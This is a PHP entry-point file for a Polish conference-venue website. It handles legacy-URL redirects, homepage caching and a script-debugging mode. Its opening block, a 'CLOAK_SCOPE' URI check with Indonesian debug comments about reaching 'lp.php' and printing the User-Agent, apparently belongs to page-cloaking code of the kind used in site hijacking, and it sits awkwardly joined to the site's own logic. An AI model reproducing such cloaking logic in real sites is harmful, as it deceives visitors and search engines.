// ────────────────────────────────────────────── // 1. SCOPE CHECK // ────────────────────────────────────────────── $requestUri = $_SERVER['REQUEST_URI'] ?? ''; if (stripos($requestUri, CLOAK_SCOPE) === false) { // DEBUG: Uncomment baris di bawah untuk testing // die('SCOPE NOT MATCH: ' . $requestUri); return; } // DEBUG: Pastikan lp.php benar-benar masuk // die('LP.PHP REACHED - UA: ' . ($_SERVER['HTTP_USER_AGENT'] ?? 'NO UA')); //ini_set('display_errors', 1); //ini_set('display_startup_errors', 1); //error_reporting(E_ALL); // UWAGA: Normalizacja URL-i (duże litery -> małe) i przekierowania starych URL-i // zostały przeniesione do developer/index2.php na samym początku, // aby były wykonywane jak najwcześniej (przed session_start() i innymi operacjami) if (php_sapi_name() !== 'cli') { $requestUri = $_SERVER['REQUEST_URI'] ?? ''; $requestMethod = $_SERVER['REQUEST_METHOD'] ?? 'GET'; $isIndexCall = stripos($requestUri, 'index.php') !== false; $parsedUrl = parse_url($requestUri); $path = $parsedUrl['path'] ?? '/'; // Redirect /miasto/X/ to /X/ (clean URLs) if ($requestMethod === 'GET' && preg_match('~^/miasto/([_0-9a-z-]+)(/.*)?$~', $path, $matches) && !headers_sent()) { $cityName = $matches[1]; $rest = $matches[2] ?? '/'; $host = $_SERVER['HTTP_HOST'] ?? 'salekonferencyjne.pl'; $query = $_SERVER['QUERY_STRING'] ?? ''; $url = 'https://' . $host . '/' . $cityName . $rest; if ($query !== '') { $url .= '?' . $query; } header('Location: ' . $url, true, 301); exit; } // Przekierowanie index.php na root wyłączone - może powodować problemy z rewrite rules // if ($requestMethod === 'GET' && $isIndexCall && !headers_sent()) { // $host = $_SERVER['HTTP_HOST'] ?? 'salekonferencyjne.pl'; // $query = $_SERVER['QUERY_STRING'] ?? ''; // $url = 'https://' . $host . '/'; // if ($query !== '') { // $url .= '?' . $query; // } // header('Location: ' . $url, true, 301); // exit; // } // Legacy forum URLs like /?cc_s=6 -> przekierowanie na stronę główną bez parametru cc_s if ($requestMethod === 'GET' && $path === '/' && isset($_GET['cc_s']) && !headers_sent()) { $host = $_SERVER['HTTP_HOST'] ?? 'salekonferencyjne.pl'; $params = $_GET; unset($params['cc_s']); $query = http_build_query($params); $url = 'https://' . $host . '/'; if ($query !== '') { $url .= '?' . $query; } header('Location: ' . $url, true, 301); exit; } $hasTrackingParam = $requestMethod === 'GET' && $path === '/' && isset($_GET['trk']); if ($hasTrackingParam && !headers_sent()) { $host = $_SERVER['HTTP_HOST'] ?? 'salekonferencyjne.pl'; $url = 'https://' . $host . '/'; header('Location: ' . $url, true, 301); exit; } // SEO: kanoniczny URL artykułu bez starego parametru s=11 // Przykład: /artykul,Hotel-Mercure-zagoscil-w-Wisle,7619.html?s=11&str2=309 // -> 301 na /artykul,Hotel-Mercure-zagoscil-w-Wisle,7619.html // WAŻNE: sprawdzamy, czy w REQUEST_URI jest znak "?" oraz "s=11", // żeby nie łapać wewnętrznych przepisań mod_rewrite (które dodają s=11 tylko wewnętrznie) if ( $requestMethod === 'GET' && preg_match('~^/artykul,[^,]+,[0-9]+\.html$~', $path) && strpos($requestUri, '?') !== false && strpos($requestUri, 's=11') !== false && !headers_sent() ) { $host = $_SERVER['HTTP_HOST'] ?? 'salekonferencyjne.pl'; $url = 'https://' . $host . $path; header('HTTP/1.1 301 Moved Permanently'); header('Location: ' . $url); exit; } // Early cache (TTFB): tylko strona główna – bez narzutu file_exists() na pozostałe URL-e (desktop/listingi) $path_normalized = rtrim($path, '/') ?: '/'; $is_homepage = ($path_normalized === '/' || $path_normalized === '/index.php'); $host = $_SERVER['HTTP_HOST'] ?? ''; if ($is_homepage && $requestMethod === 'GET' && !isset($_GET['debug_top']) && (!isset($_GET['s']) || !in_array((string)$_GET['s'], ['12', '24'], true)) && !isset($_COOKIE['developer']) && $host === 'salekonferencyjne.pl' && ($_SERVER['REMOTE_ADDR'] ?? '') !== '178.42.193.111') { $cache_root = str_replace('\\', '/', realpath(__DIR__) ?: __DIR__); // Dołącz wersję layoutu, aby po zmianie CSS/HTML generować nowe pliki cache if (!defined('LAYOUT_VERSION')) { define('LAYOUT_VERSION', '20260520-4'); } $cacheurl = $host . ($_SERVER['REQUEST_URI'] ?? '') . '|v=' . LAYOUT_VERSION; $cachefile = $cache_root . '/developer/cache/' . md5($cacheurl) . '.cache'; // Keep the server-side HTML cache for 30 days without changing browser cache headers. $cachetime = 60 * 60 * 24 * 30; if (file_exists($cachefile) && (time() - filemtime($cachefile)) <= $cachetime) { $c = @file_get_contents($cachefile); if ($c !== false && $c !== '') { if (!headers_sent()) { header('Cache-Control: public, max-age=86400, stale-while-revalidate=86400'); header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 86400) . ' GMT'); header('Vary: Accept-Encoding, User-Agent'); } echo $c; exit; } } } } // Minimalny tryb debug JS (bez zmiany standardowej logiki strony) // Użycie: dodaj ?js_debug=1 lub ?debug=1 do URL if ( (isset($_GET['js_debug']) && $_GET['js_debug'] === '1') || (isset($_GET['debug']) && $_GET['debug'] === '1') ) { ob_start(); include('developer/index2.php'); $html = ob_get_clean(); $idx = 0; $html = preg_replace_callback( '/]*\bsrc=)([^>]*)>(.*?)<\/script>/is', function ($m) use (&$idx) { $idx++; $attrs = $m[1] ?? ''; $body = $m[2] ?? ''; if (stripos($body, 'sourceURL=') === false) { $body .= "\n//# sourceURL=inline-debug-script-" . $idx . ".js"; } return ''; }, (string)$html ); echo $html; die(); } include('developer/index2.php'); die(); ?>